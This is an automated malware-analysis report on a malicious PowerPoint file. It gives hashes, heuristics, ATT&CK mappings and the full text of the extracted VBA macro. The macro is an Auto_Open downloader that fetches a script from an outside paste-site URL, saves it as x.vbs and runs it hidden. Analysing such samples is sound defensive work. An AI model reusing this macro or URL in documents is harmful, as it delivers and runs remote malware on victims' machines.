Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f1a9e938272f4706…

MALICIOUS

Office (OOXML)

7.2 KB First seen: 2021-09-25
MD5: 6f480b22cee012d74e36fc5834177a08 SHA-1: a5d2d12cdc9748dc9ec2f11246246d15d4a4445d SHA-256: f1a9e938272f47067bf88f71592636f49f069530f2d727ca555ccbb8c8fb1500
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro that executes upon opening. The macro uses MSXML2.XmlHttp to download content from "https://wtools.io/code/dl/b6Jh" and saves it as "x.vbs". It then uses WScript.Shell to execute the downloaded VBScript, indicating a downloader or dropper functionality.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://wtools.io/code/dl/b6Jh In document text (OOXML body / shared strings)
    • https://wtools.io/code/dl/b6Jh$In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 801 bytes
SHA-256: 97ef095dfd9138c23b2d05cb3bfdb16a08370a3a956026bbed10c5fbd545f80d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"


Private Function GetHTMLSource(ByVal sURL As String) As String
    Dim xmlHttp As Object
    Set xmlHttp = CreateObject("MSXML2.XmlHttp")
    xmlHttp.Open "GET", sURL, False
    xmlHttp.send ""
    GetHTMLSource = xmlHttp.responseText
    Set xmlHttp = Nothing
  End Function

Public Sub Auto_Open()

Dim fsT As Object
Set fsT = CreateObject("ADODB.Stream")
fsT.Type = 2 'Specify stream type - we want To save text/string data.
fsT.Charset = "utf-16" 'Specify charset For the source text data.
fsT.Open 'Open the stream And write binary data To the object
fsT.WriteText (GetHTMLSource("https://wtools.io/code/dl/b6Jh"))
fsT.SaveToFile "x.vbs", 2 'Save binary data To disk

  
 CreateObject("WScript.Shell").Run "x.vbs", 0, False
 
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13312 bytes
SHA-256: 9d8701e2f9676f929bf36f4263730c7227b3ffa6fae0da230cb2627b85c9584f

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